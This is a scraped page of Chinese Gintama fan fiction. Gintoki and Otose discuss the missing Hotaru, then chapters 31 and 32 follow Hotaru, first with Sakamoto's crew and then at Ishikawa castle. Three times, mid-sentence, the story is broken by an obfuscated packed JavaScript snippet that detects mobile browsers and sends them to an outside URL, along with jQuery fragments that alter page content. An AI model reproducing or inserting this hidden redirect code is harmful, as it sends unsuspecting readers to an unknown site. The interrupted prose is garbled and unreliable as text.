“哎呀,怎么这么早记忆力就不行了?” 唰地一下打开酒馆的门,还没来得及开口便瞥见两道狠光。 坂田银时反应极快地躲开抹布和拖把的攻击,没好气地瞪着那个绿和服猫耳娘和女仆机器人,“喂喂,都下午了才开始打扫就算了,还要把客人打出去吗?老太婆你没死就管管自己的手下吧,再这样下去你的店要跟着你一起去地狱了。” “废话少说啊天然卷,你老实交代,是不是把阿萤卖到吉原了?”凯瑟琳拿着玻璃杯蓄势待发,看他的眼神就像看那些拐卖人口的罪犯,鄙夷又愤恨。 “啊嘞……卖,卖到吉原?”坂田银时豆子眼眨了眨,跟不上这个女人的思维。他不是吉原救世主吗?什么时候干起这种勾当? “人渣,没钱的话,银时大人可以去睡年迈的富婆,怎么可以对阿萤大人下手?贩卖女性也太无耻了!”小玉拿着拖把,随时准备轰人。 “不,等等,你们是不是脑补了什么奇怪的剧情啊?”坂田银时一把坐在座位上,手指着两人,“清醒点,这可是非常健康的动画,是那种傍晚播放的合家欢,别搞这种骇人听闻的传言好吧。等下禁播了,你们都要去其他片场打工啊。” “别扯其他,阿萤她自从跟着你们去吉原后就没回来了,而且你还有钱交了房租!若不是你把她卖掉了,她怎么会失踪你怎么会有钱?”凯瑟琳分析得头头是道,越想越觉得有可能。 坂田银时烦躁地揉了揉发,“烦死了,一个个啰啰嗦嗦的,我说凯瑟琳,她是个女人啊,你该不会暗恋她吧?也不对,那家伙女人缘挺好,还喜欢去微笑酒馆喝酒的,跟阿妙那几个都熟……” “胡说什么啊天然卷……”凯瑟琳还没说完,就被登势一个杯子丢过去打断了。 “好了,你们快准备开店,别闹了。”喷了口烟,登势凶巴巴地把两人打发。 倒了杯酒递过去,她才淡淡地看向自家的房客,“阿萤已经好些天没回来了,你再不说清楚,老娘就去报警了。” 坂田银时一口喝光了杯子里的酒,撑着腮看向吧台最里头的那个座位。那家伙来店里的时候,总喜欢坐在那里,方便跟摸鱼的店员聊天。 明明来这条街不是很久,但好像总能看到她。不是坐在那跟凯瑟琳讨论男星的肌肉,就是自己边看手机边浅酌,要不就对小玉上下其手好奇机器人的构造,偶尔还会回应那些客人对她的善意调戏……过分的话还会直接把人揍出店外。 这样想着,眼前仿佛又看到那家伙回头,微微一愣后绽放灿烂得刺眼的笑容。坂田银时懒懒地别过头,猛地撞入一双探究的老眼。 “老太婆,虽然天还没黑,但看到这张脸还是会让人有种人生绝望到要去地狱的错觉。”坂田银时死鱼眼望回去,挖了挖鼻孔。 “哼,你认识她很久了?不是以前的客人吧,她的级别你消费不起。”登势挑眉,懒得说他刚才的发呆。 “喂,少瞧不起人啊,啊嘞,这种级别多少钱来着?”数了数手指,坂田银时悲催地发现自己还真消费不起。 接过第二杯酒,沉默了一下,他才悠悠地道,“那个级别的游女,阿银可不认识。只是……那天之后的月见萤,才是我们认识的她。” 登势懒得问,这个我们是指哪些人。 “离开吉原后才认识吗?”登势淡淡地道,吸了口烟,缭绕的烟雾模糊了她的神情。 “谁知道呢……那家伙也是个怪物,心智坚定地停留在幼稚园,人也是。”垂眸看着玻璃杯里头荡漾的酒液,坂田银时嘴角勾起一抹笑,温柔而怀念。 “小时候觉得她一点也不像成年人,她还狡辩说是因为跟我们一起才幼稚些来配合我们,其他时间她已经很有大人样。那时候还想着等我们长大她总会长进一点吧,没想到我们都长大了,她反而更幼稚……” 以前村塾的其他学生好像有说过她跟老师一样可靠,切,分明就是一个带头胡闹的幼稚园小鬼。好吧,偶尔也会像个没用的大人一样,说教倒是头头是道。 原以为那时候的她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027053|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够让人无语了,没想到现在的她更甚。坂田银时想起这段时间看到的人,忍不住嘲笑,“怎么会比我们认识时还要像小孩子。” 除了月见萤这个逆着时光的笨蛋,也没谁了。 谁能想到那家伙为了吃有葱味但不要葱的拉面会抱着拉面店老板娘泪眼汪汪地编故事求特制? 总喜欢故意夹着声音软乎乎地抱着眼前的老太婆求饶耍赖,啊,对了,下雨或者太阳太猛的时候,还会黏着神乐蹭她的伞,可怜兮兮的样子骗了神乐不少心软。 带着欣赏的目光把酒馆和牛郎店,人妖店逛了个遍,还美曰其名欣赏美的事物,对那些漂亮的妹子和肌肉男下手…… 啊,还有假发,为了求死竟然忽悠假发陪她跳楼……假发那白痴会答应也是脑残,真感激他逃跑小太郎的必备降落伞,不然他就要替这两个凑一起就犯蠢的白痴收尸。 想起这些,坂田银时一时感叹,“老太婆啊,女人的25岁还真是漫长啊。” 她的25岁都快贯穿他们整个人生了。 登势看了他一眼,给自己倒了杯酒,“女人的年龄是秘密,你这种脑子就别研究了。” 小时候啊……登势暗忖着,这两人之前明明不认识一般。 登势想起之前他们带晴太回去吉原后,眼前的混蛋还顶着一身伤路都走不稳便急急地跑来拜托她去关照一个刚离开吉原的女人,务必要让人住到这条街。 那时候她还以为是日轮的拜托,但……别人就算了,她可不会看不出来。这混蛋根本就是把人一步一步安在自己的势力范围内,还偷偷拜托街上的熟人关照她。 看清楚这些,登势也怀疑过会不会是什么艳遇或者好不容易有的正常的桃花运,但又觉得不像那么简单。 “既然是熟人,怎么开始还一副不熟的样子?”登势抿了口酒,随意地道。 相处起来感觉像是很熟悉,但阿萤看他的眼神却又不像是认识多年。登势看得出来,那丫头没有失忆这种狗血设定,对他们是真的陌生。 坂田银时沉默了许久,喝光第二杯才翻着死鱼眼道,“这么快就老年痴呆了吗?阿银都说了不认识之前的那个月见萤。” 在吉原见到她的时候,他也吓了一跳。查了吉原月见萤的过往,那个别人口中温柔沉默的游女跟他看到的真人几乎没有分毫相像,而那天曾被夜王重伤的人也没有一点受伤的痕迹。 他们也是后来想了很久,才想通这些奇妙的缘分。 他们所熟悉的月见萤,只是那天之后的月见萤。 登势动作一顿,淡定喷了口烟,“也是,阿萤看起来就不像是跟你们这种人一样。” 然而她也不像是吉原出来的游女。 那孩子的眼睛太干净,不是说不符合年龄的幼稚,而是纯粹。她知世故也很聪明,什么时候做什么事情,怎样做这些她很清楚,甚至很懂得让自己融入不同的环境,不知不觉让人陪着她闹,极有分寸。 只是她的笑容,她的眼神,甚至她整个人的气质,都不是从战争走过来又或者在吉原那种地方受过苦的人。 真要说的话,是那种被保护得很好,受过良好教育,却又见识过不同世情的姑娘。那是一种被爱包围着长大的人才会拥有的特质,很难相信是属于这个时代。 “是啊,她拥有我们没有的东西,却毫不吝啬给予我们。”就是因为这样,老师当年才会那么爽快地收留她吧。可是啊……他们却把如光一样干净的人,拖进了地狱里头。 “不用担心,她虽然脑残,但到什么地方都能过得不错。”至少这个,坂田银时是认可并且佩服的。就算是地狱,那个女人也能开出灿烂的花。 “所以她到底去了哪里?”登势也想不起怎么跟她熟起来,那是极少数毫不在意她脸色,抱上来就蹭着撒娇的姑娘。她就像是忽然间多了个很能把握尺度撒娇的小女儿一样,忍不住操心。 一个漂亮又知情识趣的女人,在觉察别人对她好感后会有分寸地逐步试探底线,让人很快接受她。连登势这种阅历的都不能抗拒,更何况其他笨蛋。 坂田银时抬眸,笑容轻柔,红眸里头有着怀念,也有一缕羡慕。 “她啊,去了一个很好的地方。真是幸运的家伙……” 他所怀念,他做梦也不敢想的地方,她奇遇的起点。 朗月冉冉升起,一群穿着黑色制服的警察巡逻而过。当四周再次安静,拱桥上带着斗笠的僧人才缓缓地抬起头,看着夜空上圆满的明月。清秀的脸上露出一个轻柔的笑容,有怀念,也有期待。 同一片月色之下,弹着三味线的男子靠在窗台上,微微偏头看向窗外,所有的情绪收敛在眸底。想起什么般,薄唇轻勾,带着一缕嘲讽,眼神却泄露一丝温柔。 请代他们,向松下村塾全体问好。 31.命运般的会面 明媚的蓝天,灿烂的太阳,还有那带着腥味但绝对不会让人反感的海风,暖洋洋的感觉让人有种张开双手便能飞舞于空中的轻松和舒适。这种久违的干爽和暖意让我恨不得融化在这一片日光之中。 “阿萤……阿萤……” 如果后面没有那么呱噪的声音就更好了。 充耳不闻地欣赏了一会阳光与海洋的美景,我才懒洋洋地转身,打了个哈欠,“泽木,你就不能少操点心吗?好好享受一下这难得的好天气嘛。” 名为泽木铃的少年一头黑色短发,身材修长,穿着简便武士服,外套绿色的羽织,清秀的面容带着无奈苦笑,眼下一片青黑。 “这已经是连着一个月的晴天了,长洲藩那边都担心干旱,哪门子难得的好天气啊。”泽木搔了搔头,提醒我,“你一点也不紧张吗?我们要去跟传说中的攘夷志士会合啊,虽然之前已经谈好了合作的意向,可是对方怎么想的我们还不确定。万一出什么事,或者跟他们磨合不来……” “嗨嗨嗨,不用担心,谈判这种事我们的队长很擅长,交给他就行了。”我咧出信心满满的笑容,随意地摆了摆手。 “不……”泽木指了指蹲在栏杆边上埋头苦吐的人,死鱼眼无奈地道,“阿萤,我们队长已经快倒下了……” 我:…… “坂本辰马你个污染海洋和空气的混蛋!我就说怎么海风里头会带了点酸菜馒头的馊味!”我气得把他的头盔扔过去。 被击中头部的俊俏少年一头棕黑色的卷发,吐得苍白的脸上还带着呕吐物的残渣,原本意气风发的钴蓝色双眸只剩下呆滞和痛苦。 撩起蓝色的羽织擦了擦嘴角,坂本辰马勉力扶着栏杆站了起来。还没来得及说话,一个浪过来,船身稍微晃荡,满腹的内涵翻涌而上,坂本辰马捂着嘴求助般望向我们。 我和泽木机警地跳开,远远地朝他道,“坚持住啊辰马!看向远方,看向大海和星辰,这样会没那么容易晕船的!” 噗地一下喷出一堆马赛克物质,辰马摇摇欲坠地扶着栏杆顽强地看向远方,看脸色离晕倒也不远了。 “怎么办啊,阿萤,这个样子……太丢人了,万一对方嫌弃队长太挫不跟我们合作怎么办啊?”泽木抓狂地摇着我,“这种关头你还要离开去石川城谈采买……怎么办啊……要不,我们换过来吧?” “争气点啊泽木,他们都穷兮兮的,要不是我们提供后勤哪能赢下最近的战役?我们都不嫌养他们费钱,他们好意思嫌弃我们?”我扣着他双肩摇晃,让他清醒一点,“再说,石川城那边好不容易有了突破口,这次成功的话我们可是能免费拿到一批先进武器啊。” 泽木被我摇清醒了些,但一想到即将合作的对象,他哀怨地望着我,“那是阿萤你根本不知道他们有多厉害……不提队伍,就他们三人,已经是年轻一辈攘夷志士中的翘楚。仅凭一柄长刀便能让天人闻风丧胆,一袭白袍舞动在战场所向披靡的白色战神,白夜叉坂田银时。带领着鬼兵队杀敌无数,足智多谋的总督高杉晋助,还有剑术高超,完美为同伴断后,让人不敢小看的狂乱贵公子桂小太郎,他们可是我的偶像啊!” “别光长别人威风啊,我们也有桂浜之龙啊。”我指着辰马,拒绝粉丝洗脑行为。 真要说的话,对面那些人的弱点我很清楚,某些时候比辰马更不靠谱。 泽木看了眼趴在栏杆上呼吸微弱不停呕吐的辰马,无声地流泪,“根本不是同一个level啊……” “啊哈哈哈……好过分啊,铃。”辰马虚弱的笑声很快散在海风里,泪眼汪汪地看过来,“阿月,什么时候到啊……” “拜托,我是阿萤不是阿月,你什么时候才能把我的名字叫对啊。”坂本辰马除了那口土佐音,就是从没叫对我名字这点最让我无语。就因为他,泽木他们开始都以为我叫阿月,后来才被我纠正过来的。 据说这家伙对特定的人都这样,泽木一开始就被他老是叫泽田,后来受不了才强硬要求他直呼名字。我也试过反抗,但辰马认为月见也是阿月,他没交错……随他了,反正知道是叫我就行,月见萤也不是我本名,没啥好纠结。 泽木不忍直视地走过去给他拍拍背,力求让他吐个彻底等下能正常些撑撑场面。 “阿萤,要不还是我去石川城吧,虽然你跟樱姬夫人和良子姑娘熟悉好行事,但没有你镇压队长,我真怕他丢人。” 我犹豫了一秒便否决,意有所指,“不行,这次你去的话,估计看不出什么。” “昂?看什么?”泽木不明所以。 “总觉得这一次不是那么简单的交收武器,或许会有些意外惊喜。”我不知道该怎么跟他说,也许一切都是我想多了,但记忆深处的职业习惯总让我多想。 “什么惊喜?”泽木想要细问,但一个错眼坂本辰马又鼓起腮帮子,他脸色顿时一变,一拳把自家队长揍向船边。 坂本辰马干脆地靠在栏杆抱着袋子狂喷,让人不忍直视。 “算了,这边惊喜更多也不说定。我答应了樱姬夫人会去的,跟女人的承诺就算是刀山火海也要赴约啊。更何况黑子他们在那边等我了,没问题的。” 泽木光应付坂本都疲于奔命了,若是他去石川城估计也查不出什么。而这边……那才是命运的重点。 我走到船头,遥望着已经能看到一点影子的目的地,一种大概能归为近乡情怯的愁绪笼罩着我的心头。 说实话,听到有粉丝这样狂热地夸他们三个,我有种老怀安慰的满足感和骄傲。被坂本辰马误打误撞叫醒已经有两个多月了,我还是不太能接受发生在自己身上的一切。 按他的说法,是在毁灭那座城的武器时偶尔发现了被人藏起来的飞船,进而看到了我。原以为是城主勾结天人的秘密,没想到是禁锢我的密室。 我也不知道是怎么回事,甚至不知道成为云锣的那段日子是梦还是真实。现在距离我离开松下村塾已经快五年时间,但我在第七师团也不到两年。 时间的流速在我身上怪异得让我惶恐,而一直以红线挂在我胸口的怀表依然空白一片。我这个身体的时间依然静止,头发,指甲全部没有生长的迹象,大姨妈也没来过,但吃喝拉撒这种正常新陈代谢又依旧,跟在村塾时一样。 陌生环境和纯粹的茫然让我感觉无助,还好坂本辰马本身就是个奇怪的家伙,他不但全盘接纳我的存在,还在跟我谈判过后想了一秒就决定跟我合作,把我收编为他的副手。 至于为什么一上来就是副手,他的理由是这么好玩的奇迹得放在眼前才有意思。两个月下来,我深感这混蛋需要的是管家婆和缰绳,不是什么副手。 原本的副手泽木所有的意见在我搞掂石川城那位城主夫人后转为敬佩,据说他死磕石川城快三个月毫无进展……不过我能搞掂这事也是运气,谁知道厨房那位阿婆居然是夫人的陪嫁,还有个攘夷志士的儿子,被我晓以大义之下帮忙说服了夫人。 当然,在跟那位城主女儿接触后,我就觉得事情怪怪的,但总算是个好开始。 这段时间,我对松下村塾的后来有了进一步的消息。这些年天人大肆入驻地球,幕府无力抵抗,不少武士挺身而出抗击天人。几年前,松阳被幕府和天道众以倒幕罪名带走,村塾被烧毁,三小只带着剩下的同学们走上了拯救松阳顺便攘夷的路。 杀天人杀得名头如此响亮,他们三个经历了什么可想而知,作为早早就退场,没有陪伴他们度过那段岁月的我……有什么资格出现在他们面前? 更何况……我拉出怀表,那上头空白一片却依然让我心情沉重。不知道何时会再次离开的我,或者说在这种战乱时代自保也有难度的我,何必再打扰他们的轨迹? 我不是没想过找人杀掉我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031579|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但目前我身上的时间停滞,灵魂离开身体等等一系列怪事让我不敢轻易尝试。除非迫不得已被杀,不然我不太想主动寻死。 我是想结束一切回家,回到我的世界,而不是真正意义上的死亡。如今,我只能尝试修好怀表,顺道给那些孩子们一些帮助。例如,这次他们和辰马的合作。 是的,我能做到的,也只有这些了。 “记住,输人不输阵!看远方景色,摆个帅气的姿势,保持面无表情,这样就可以忽悠他们了。总之,一定要撑到上岸!”辰马跳下小船的时候,我尽责地叮咛着,生怕这个笨蛋一不小心毁掉这次合作。 尽管他的本事我已知道,但他本人和那几个笨蛋的脑子有多与众不同我也是清楚的。 “别担心……yue……”辰马话还没说便吐了一堆马赛克,我和泽木捂眼无法直视,更加担心了。 “啊哈哈哈,啊哈哈哈,阿月,铃,别这个样子嘛,我就是晕船而已,等到了陆地就会好的了。”反胃地打了个嗝,辰马给我一个放心的手势,踩在船头昂首挺胸地出发了。 “真是诡异的世界,那么喜欢船的笨蛋居然天生晕船,什么设定啊。”两个月下来,我已经无力吐槽了。 “队长,你的人品一定要在这一刻all in,别丢人啊!”泽木咬着小手绢,担忧的样子仿佛是送子远行的老妈子。 “我说,你这么担心干嘛不跟着去?”我斜睨着他。 泽木瞥了我一眼,“万一队长失礼了……至少还有我可以弥补一下队伍形象,我可不能让偶像对我有坏的印象。” 啊哈。我翻了个白眼,拿出望远镜看向那边一队人。 那三人的样子已经接近我在江户看到的那样了,只是眉宇间还没染上沧桑,眼角眉梢只有意气风发,脸庞犹带了点青涩。 不过,他们三人的相处方式还是没变啊。 银时哔哩吧啦嘴不停的样子肯定是在嘲笑高杉,因为高杉脸上的十字路口都蹦得欢快,忍无可忍之下压着他一顿踹,桂一如既往地劝架。 “哎,被说了那么久才踩他几脚,我们晋晋的修养和脾气真好。”我由衷地感叹。要是我,不把那银发天然卷埋进地里都觉得对不起自己。 所以,他到底是怎么变成江户那副残虐想要毁灭世界的样子。 蓦地,一张温柔的笑脸浮现在脑海,我动作一顿,心下一沉。 “啊——队长喷他们一脸了!”泽木崩溃地丢下望远镜,抓着头发乱揪,“怎么办啊?果然搞砸了!” 我笑得死命捶着栏杆,那两只被糊一脸的样子真的太好笑了,桂都震惊成表情包了哈哈哈。 那一声‘天诛’响亮得我们在船上也听得清楚,泽木双手合十跪求上天保佑我们队长能熬过此劫。 忽然,高杉看了过来,眼神骤然一厉。我心慌地放下望远镜,轻咳两下,等了好一会才敢再看一眼。 这种高手的警觉性也太可怕了吧,希望辰马那笨蛋不要乱说话。 那边的辰马笑哈哈地指着这边,不知道说了什么,但为首的那三人表情没什么特别,注意力也收回去。我舒了口气,也不清楚是失望还是庆幸。 “加油哦,joy4们,你们可是时代耀眼的存在哦~” 跟泽木交代了一下后续事宜,我便带着人跳到另一艘船,往石川城出发了。 石川城的城主夫人樱姬曾说过,她手下有人精通机械,去那边的话可以顺道看看怀表能不能修好。这也是我一开始就瞄准石川城的原因之一,另一个,当然就是那边高科技的炸弹和激光剑了。 若,怀表真的能修好,那么离开坂本这个队伍之后……我想去见一见松阳,还有那个凶巴巴的胧,好好问一下这几年的事,还有……胧把我放进那些休眠培养仓的原因。 对,只有他能做这些事。 但,为何? 32.石川城个人战 石川城的范围占地不大,人口也算不上多,世代由木村家担任城主,算是非常传统的城池。因为这里的人大部分都是定居在此好几代,他们对城主一家都非常尊敬。 “阿萤,有些奇怪。”队伍里头跟我一起来的黑子野太助轻声道。 “可不是么,你们是没洗澡还是身上染了什么穷酸味吗?怎么之前还热情招待的人忽然对我们这么冷淡?活像我们不是来做客谈生意,而是来抢劫一样。”我扫了眼隐晦地避开我们的人们,不太在意地道。 “什么啊,虽然我们来的路上顺道把一个山头的山贼团灭了还抢了他们的武器,但都有好好梳洗过的。” 黑子一本正经地申辩,眼珠子警惕地左右扫视,视线忽然落在前方,“诶,是天人?阿萤,有天人!” “我看到了。”又不是瞎子,我怎么会看不到迎面而来的那队人马? 后面的各种动物头人身的就算了,为首的那个人穿着银河护卫队般的制服,梳着大背头,绿色皮肤像河童,面容看着就不是善茬。 来者不善,我和黑子交换一个眼神,他飞快地从怀中掏出一颗小丸,狠狠砸在地上。 烟雾骤然爆发,把我们的身影都淹没,前方的人一下子往这边冲了过来。 我和黑子躲在角落,看着四五个同伴被天人押下,躲在对面的人朝我们点点头。我比了个手势让他们尽快出城待机,随后便和黑子无声地溜了。 一个小时后,石川城城主府的大门缓缓打开,两列身穿小振袖和服的女仆恭敬地迎上来,看清我的瞬间训练有素的笑容顿时一僵。 “那个……阿萤姑娘,你这一身……”最前面的姑娘嘴角抽了抽,眼神怀疑。 我勉力挺直腰背,高傲地抬头睨了她一眼,“既然是来拜见樱姬夫人,当然要隆重了,怎样,我这十二袭单衣不错吧。” 姑娘不忍直视般低头,“不,与其说是十二袭单衣,不如说是十二件和服……那么,这边请。” 我面不改色地小碎步快速跟上,不是我走路太斯文,实在是身上套着十二件传统曳地和服,各种沉重,庞大的身体根本走不快。 拉门一开,穿着黄色和服的女子低着头靠在上位,铺在她腿边的衣摆绣着仙鹤等吉祥之物,听到下人的声音,女子轻抬头,一双清澈的剪水眸子含泪看了过来。 “阿萤姑娘……你……怎么胖了这么多?” 等人退下之后,我松了口气,和服下摆被一只手从里头掀起,黑子苦笑着爬了出来,“樱姬夫人,别来无恙。” 樱姬面容一窒,不赞同地看我迫不及待地脱掉身上的和服,露出里头的男装,“阿萤,你怎么可以让男子钻裙下……” “还不是为了见你。”把十二件和服随意丢给黑子,我不以为然,“到底出了什么事?那些天人是来做什么的?” 樱姬双眸又浮起泪光,直起身子把最近的事情娓娓道来。 石川城拥有一批先进武器的事不知道被谁传了出去,没多久就有幕府的高官引荐了这些天人过来,希望采购这一批武器。木村城主在跟他们谈判过后,便不顾她们反对答应了这桩买卖。 “妾身不知道老爷为什么会改变主意,但我绝不能让武器落入天人的手里!还有那孩子……我不能让她的手被自己的父亲大人弄脏。”樱姬美艳的面容一片坚定,向我们行了个正式的俯首礼,“老爷的行为实在让我不耻,但阿萤,请你帮助我们,把那孩子带走,把那批武器处理掉。” 线报太少,仅凭樱姬的话我们不能立马得出什么结论,但无论如何她有句话说得对,这批武器不能落入那些天人手里。激光剑是种威力强大的新型武器,如今还不多见,要是被拿去批量生产,对那些依然凭着冷兵器战斗的武士们非常不利。 “还好之前跟你约定了下次来就以娘家妹妹的身份拜见,不然还真不好办。”我也没想到当时哄她高兴的一时兴起会派上用场。随手挑起一件蓝色的和服,我看向黑子野太助,“看来我们要演几天戏了,黑子小姐~” 黑子苦着脸搔搔自己的一头短发,“我不能演小姐的护卫吗?” “才不要,淑女怎么可以带护卫?”我娇娆造作的点了点脸颊,毫不掩饰想要看他男扮女装的意图。 流着宽面条泪,黑子无奈地扯过一件黑色的和服,“对了,樱姬夫人,那些天人是什么来头?” 樱姬想了想,“据说是名为天道众组织派来的人,他们话里话外都是跟幕府有些往来。” 天道众……现在的武士在攘夷,幕府没有明确表态支持,暗地里又跟天人往来,真的是不太乐观的形势啊。若不是各地都有名人震慑那些天人,幕府怎么狗还不一定。 “别担心,”黑子拍拍我的肩膀,“我们先在城内打探一下,再想办法把大牢里的同伴送出去,只要他们跟外头的人汇合,一切就好办了。” 想到外头那些人,我心情一松,“也是,搞建设不一定行,但搞破坏他们可厉害了。” 那批武器既然入了幕府和天人的眼,据为己有不太有可能,后续会引来很多不必要的麻烦,他们攘夷的目标是救松阳,不是非要这些不可。 毁掉嘛……也不是不行。 尖锐的哨子声响彻整个石川城,杂乱脚步声和吆喝不断传来,我坐在窗沿俯视着下面不停移动的火把,无奈地捂脸。 “黑子那混蛋,都说了要低调……真是的,不就是让他装了几天女人嘛?姑娘们都没嫌弃他太壮太高大,他还不满那些大妈揩他油。” 咚咚咚的声音从走廊传来,拉门一开,穿着粉色和服的少女兴奋地跑进来,“阿萤姐,黑子君他们是不是逃出去了?” 我笑着点点头,“还是多亏了良子提供的地图,他们应该可以顺利出城。” 木村良子是城主和樱姬的女儿,不过十五岁,兴趣是搞科研,是个爱恨分明的小姑娘。她在城主和樱姬的教导下对石川城有非常浓厚的感情,正义感十足,也是她大力支持才得以让木村城主答应把武器送给我们。 所以这次木村反悔并答应天人的交易让她非常愤怒,得知我和黑子的计划后便义不容辞地加入我们这一边。 “太好了,这样……就可以阻止那些天人了吗?”良子咬了咬唇,期盼地望着我。 阻止?我摇了摇头,如果天人来这里买走那批武器是天道众或者幕府的意思,石川城如果不配合会有很多麻烦。所以,这批武器只能被攘夷志士毁掉或者获得,所有的矛头集结到那边,石川城才有可能全身而退。 “良子,对我来说,那些武器从来不是重点……”我看向眉宇间满是忧愁的少女,正色道。 “那些武器确实不是重点,能把桂滨之龙的副手引诱到这里,也算是那些东西的价值了。”门外徐徐而来的男人双手负在身后,面容刚毅,皱着眉不赞同地瞪着良子。 “父亲大人……”良子脸色一变,张开手拦在我身前,“阿萤姐她不是……” “够了,良子!”木村神色一凝,严厉地训斥,“身为大小姐,居然私自放走对石川城有大恶意的囚犯,你可知自己做了什么蠢事?” “做了蠢事的,是父亲大人才对!那么多攘夷志士需要武器来进行抗争,可是父亲大人却屈服于天人,那才是……” 啪的一下,良子震惊地捂着脸,不敢相信地看着一向对她疼爱有加的父亲。 “来人,把大小姐带回夫人身边,没我的命令不准她们踏出房间半步!”木村冷冷地挥手。 “父亲大人……最讨厌了!” 我尴尬得头疼地看着这场父女反目的戏份,一时间不知道该不该出声劝一下。 看着良子哭着跑走,我再次深刻地认识到,教养孩子真的不能靠男人! “啊啦啊啦,木村大人也太严厉了,小姑娘而已,左右不了大局。”一直在木村身后那个绿色皮肤的天人好整以暇地感叹了一句,语调傲慢。 “扎伊大人,实在是小女不懂事……”木村低头恭敬地道。 “这位就是你说的攘夷志士?”天人轻挑地打量着我,“一个女人?” 视线慢慢地从木村移到那个天人身上,我摸着下巴露出一个笑容,“大费周章地布了这个局,却只抓住我这么一尾小鱼,有点浪费哦。” 从我们踏入石川城开始,便是一个针对攘夷志士的局。只是,这种临时而简单的局怎么可能让我输?木村城主不太清楚,我们家的女人可是绝不认输的。 天人扬了扬白色的眉毛,“那些人逃不掉,那位大小姐的图早就被我们换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038337|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉了……估计现在人都被处理完吧。” 我敛去笑容,不以为意地耸肩。 “你不担心?”天人高傲的面孔有了一点勉强的好奇。 “担心?我才没那个兴趣担心一群笨蛋。”我拍了拍屁股上沾上的尘,抬眸勾唇,“我来这里可不是冲着那批武器哦。” “哦?”天人走进房间,“那你来这里是为了什么?” 笑容标准而客套,我端正地跪在坐垫上,比了个请的手势,“其实,我是想来跟天道众的代表,这位扎伊大人,谈一桩生意。” 坂本辰马说过,任何时候,利益都是最能鼓动人心的筹码。 天人微愣后笑了笑,颇感兴趣地坐在对面的坐垫上,“区区一个人类女人,还想跟我谈生意?” “就因为我是女人,所以我对那些没什么希望的攘夷事业毫不在意。”我唰地打开折扇挡着半张脸,轻眯着眼笑道,“比起国家和大义这种东西,利益更能打动我。” “你要出卖你的同伴?”木村震惊地看着我。 “出卖了自己妻女和百姓的木村大人好像也没资格说别人哦~”扎伊眼角扫了他一眼,身后的随从会意地抓着木村。 我毫不在意地笑了,没看木村一眼,直视着眼前的天人。 “你凭什么觉得我们会信你?之前你也是想要得到那批武器的吧。” “当然,因为之前夫人答应我不用钱啊。你不懂,我们人类女子对能白占便宜的事都不会放过。”我理所当然地摇了摇折扇,“那些攘夷志士在意这些武器,但我却更在意不用成本就能获得更大的利益。也是托了他们的福,我才知道你们也这么在意这些东西。” 扎伊的脸上少了笑意,总算看起来不那么滑稽。他看着我,眼带轻蔑,“哦,我们在意什么?” “你们也想尽快拿下地球吧,摇摆不定的幕府,各地奋起的志士,不会让你们觉得无趣又麻烦么。你们想要更快攻略这里的武器,对吧。那如果我说,我手上有比那些激光剑更厉害的武器呢?或许,是你们所忌惮又想得到的……白色恶魔。”我笑眯眯地递过一杯茶,语调轻松。 “白,白色恶魔?”扎伊看了木村那边一眼。 “没错,我想要跟你们谈的商品,就是这个~”我指着窗外,远处漆黑的夜色里头骤然爆发出一阵巨响,剧烈的光迸发而出。 “我们人类的白夜叉~” 扎伊难以置信地望着那边的爆炸,“白,白夜叉,是那个白夜叉吗?” “对,就是他~”我绽出笑容,双手拍了拍把他们的视线吸引回来,“一袭白袍拿着剑就能劈爆你们飞船的那个银白色的恶魔~现在购买的话,还能赠送脑子经常掉线的狂乱贵公子和一秒按下白夜叉自爆按钮的鬼兵队总督大人哦~这可是比双十一还要划算的价格,仅此一次~过时不候~” “你,你要卖掉他们?开,开什么玩笑。”扎伊震惊得打翻了茶杯,滚烫的茶水倒在榻榻米上,“你的队长不是刚跟他们合作吗?” 接二连三的爆炸纷纷传来,天人和木村的脸色都瞬间难看起来。 “啊啦,讨厌~”我捧着脸嗔了句,轻巧地旋身坐在窗台上,夜风吹起我过肩的散发,“我那么认真,你却说我开玩笑?亏我还打算跟你们合作,这样的话不管是石川城还是这个国家都能轻易拿到手。” “你想要夺取国家/石川城?”天人和木村异口同声道。 轰隆一声,下方传来爆炸声响,木村脸色大变,惊讶地瞪着我。 “呵呵,我不是说了吗?我对着这些东西没兴趣。”我曲起一腿,和服的下摆随着我动作打开,露出白皙小腿。穿惯了男装,我对这些束手束脚的女装实在提不起兴趣。 “你到底想干什么?”天人沉下脸,“要跟我们为敌吗?” 哎,我们不是一直都是敌人吗?我好笑地看了眼他们,竖起食指摇了摇,“不,虽然我们确实是敌人,但这次我只是想要把你们留在这里而已。” “什,什么?”天人一愣,有点不信自己听到的话。 